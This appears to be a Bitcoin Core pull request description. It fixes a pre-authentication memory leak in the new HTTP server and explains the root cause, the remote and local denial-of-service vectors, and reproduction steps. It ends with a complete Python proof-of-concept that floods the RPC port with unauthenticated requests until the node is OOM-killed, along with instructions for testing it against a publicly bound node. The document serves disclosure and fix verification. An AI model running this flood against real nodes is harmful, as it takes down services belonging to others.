This patch fixes a memory leak in the newly-added HTTP server.
Severity
I originally classified this as a low severity security issue and reported to the security team via email. The response I received is as follows, which is why I'm submitting this publicly:
Since the new http server has not shipped in any release yet, you can open an issue or pull request to fix this publicly. More generally, we do not consider these type http/rpc/rest bugs to require secrecy as these interfaces are documented as not to be exposed on the public internet.
Root cause
The issue is caused by an ownership cycle: HTTPRemoteClient owns its queued
HTTPRequests and each owns the client back (shared_ptr).
Attack vectors
It can potentially lead to a remote DoS if the node uses the -rpcbind param
not bound to localhost, but it is not the default and is discouraged. Still,
there might be hosts that use this with public ips.
The attacking host does not need to be in the allow list because the memory is allocated before authentication and never freed.
The local attack vector is not very interesting, but it exists: for example, a multi-user system, where any unauthenticated local process can get the node OOM-killed.
Practical considerations
The localhost case reproduces very well because requests are sent very fast. I was able to get the node OOM-killed.
With the remote case, I could not leak all memory for some reason. I've tested with a 400 MB limit for the process. With remote, it always got stuck mid-way (at 200 MB or so) and the node stopped accepting connections.
It could be just my setup, network filtering, etc. I have not put significant time into investigating this because of low security impact.
I would be curious to hear if people are able to reproduce this remotely and get the node OOM-killed.
<details> <summary>Steps to reproduce</summary>
Upstream hash:
7e5952b0aa04429c88d8ad990f35862421c4fa9d
Nix shell:
nix develop github:bitcoin-dev-tools/bix --extra-experimental-features flakes --extra-experimental-features nix-command --no-write-lock-file
Build flags:
FLAGS="-G Ninja -DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DBUILD_TESTS=OFF -DBUILD_BENCH=OFF -DBUILD_FUZZ_BINARY=OFF \
-DBUILD_GUI=OFF -DBUILD_TX=OFF -DBUILD_UTIL=OFF -DBUILD_WALLET_TOOL=OFF \
-DENABLE_WALLET=OFF -DWITH_ZMQ=OFF -DENABLE_IPC=OFF"
Compile:
cmake -B build-poc-master $FLAGS
cmake --build build-poc-master -t bitcoind -j16
Run bitcoind:
mkdir -p /tmp/httpleak
systemd-run --user --unit=httpleak -p MemoryMax=400M -p MemorySwapMax=0 \
/home/nikita/dev/bitcoin3/build-poc-master/bin/bitcoind \
-regtest -datadir=/tmp/httpleak \
-rpcuser=poc -rpcpassword=poc -rpcport=18443 \
-rpcbind=127.0.0.1 -rpcallowip=127.0.0.1 \
-dbcache=4 -rpcthreads=2 -printtoconsole
In a different terminal:
watch -n1 'systemctl --user show -p Result httpleak.service'
Run PoC:
time python3 /home/nikita/dev/bitcoin-http-leak-poc/poc.py 127.0.0.1 18443
sent 22975000 requests
stopped after 22975000 requests (node no longer accepting connections)
real 0m30.144s
user 0m0.134s
sys 0m0.302s
In a different terminal you should see:
Result=oom-kill
PoC demonstrated, now let's apply the patch and see if the leak reproduces.
git am 0001-http-fix-memory-leak-of-clients-disconnected-with-qu.patch
Rebuild the tree with the patch applied (note a different build dir):
cmake -B build-poc-fixed $FLAGS
cmake --build build-poc-fixed -t bitcoind -j16
In a different terminal:
watch -n1 'systemctl --user show -p Result httpleak-fixed.service'
Run bitcoind again:
mkdir -p /tmp/httpleak-fixed
systemd-run --user --unit=httpleak-fixed -p MemoryMax=400M -p MemorySwapMax=0 \
/home/nikita/dev/bitcoin3/build-poc-fixed/bin/bitcoind \
-regtest -datadir=/tmp/httpleak-fixed \
-rpcuser=poc -rpcpassword=poc -rpcport=18443 \
-rpcbind=127.0.0.1 -rpcallowip=127.0.0.1 \
-dbcache=4 -rpcthreads=2 -printtoconsole
Run the same PoC:
time python3 /home/nikita/dev/bitcoin-http-leak-poc/poc.py 127.0.0.1 18443
sent 118905000 requests^CTraceback (most recent call last):
File "/home/nikita/dev/bitcoin-http-leak-poc/poc.py", line 12, in <module>
s = socket.create_connection((host, port), timeout=30)
File "/nix/store/jxyrvv4gbpnp3ap5iy7wxwl1sg4x2x88-python3-3.14.6/lib/python3.14/socket.py", line 859, in create_connection
sock.connect(sa)
~~~~~~~~~~~~^^^^
KeyboardInterrupt
real 1m7.239s
user 0m0.632s
sys 0m1.788s
Had to interrupt it because the systemctl command did not show oom-kill as before, which is the expected result. This means that the patch worked.
To test the pre-auth claim and the remote vector, I connected from a different host (the testing machine has a public ip), because the localhost address is always in the allow list even if you do not specify it.
First, make sure the old node is not running to avoid clashing with it:
systemctl --user stop httpleak-fixed
systemctl --user reset-failed httpleak-fixed
systemctl --user stop httpleak
systemctl --user reset-failed httpleak
rm -rf /tmp/httpleak /tmp/httpleak-fixed
mkdir -p /tmp/httpleak
systemd-run --user --unit=httpleak -p MemoryMax=400M -p MemorySwapMax=0 \
/home/nikita/dev/bitcoin3/build-poc-master/bin/bitcoind \
-regtest -datadir=/tmp/httpleak \
-rpcuser=poc -rpcpassword=poc -rpcport=18443 \
-rpcbind=$MY_REMOTE_IP -rpcallowip=127.0.0.1 \
-dbcache=4 -rpcthreads=2 -printtoconsole
Then I had to allow the port to be accessed from the internet:
# To allow:
sudo iptables -I INPUT 1 -i ens2f0 -p tcp --dport 18443 -j ACCEPT
# To revert:
sudo iptables -D INPUT -i ens2f0 -p tcp --dport 18443 -j ACCEPT
Note: I first tried this using the Tailscale ip, but the connection was closed after sending 25M packets, so I recommend using a standard public ip.
Check that you can connect to the remote ip and port (the port can be blocked by a firewall):
nc -zv $MY_REMOTE_IP 18443
Connection to ... port 18443 [tcp/*] succeeded!
Run the PoC:
time python3 poc.py $MY_REMOTE_IP 18443 5000
The network speed seems important. With a slow network, the memory only gets allocated mid-way. For example: US -> NL: gets stuck at 190 MB, NL -> NL: gets stuck at 224 MB. After that the node will stop accepting connections instead of OOM-ing.
You can monitor growing memory consumption via the Memory line:
watch -n1 'systemctl --user status httpleak'
Maybe the payload can be sent faster with userspace networking (e.g., via DPDK + F-Stack), but those are a pain to set up, so I have not put serious effort into that. It might be some DDoS protection on the server I'm using, I have not really investigated this due to low impact.
PoC:
#!/usr/bin/env python3
import socket, sys
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 18443
per = int(sys.argv[3]) if len(sys.argv) > 3 else 5000
req = b"GET / HTTP/1.0\r\n\r\n" * per # parses + queues, needs no credentials
n = 0
while True:
try:
s = socket.create_connection((host, port), timeout=30)
s.sendall(req)
s.close()
except OSError:
break
n += per
print(f"\rsent {n} requests", end="", flush=True)
print(f"\nstopped after {n} requests (node no longer accepting connections)")
</details>
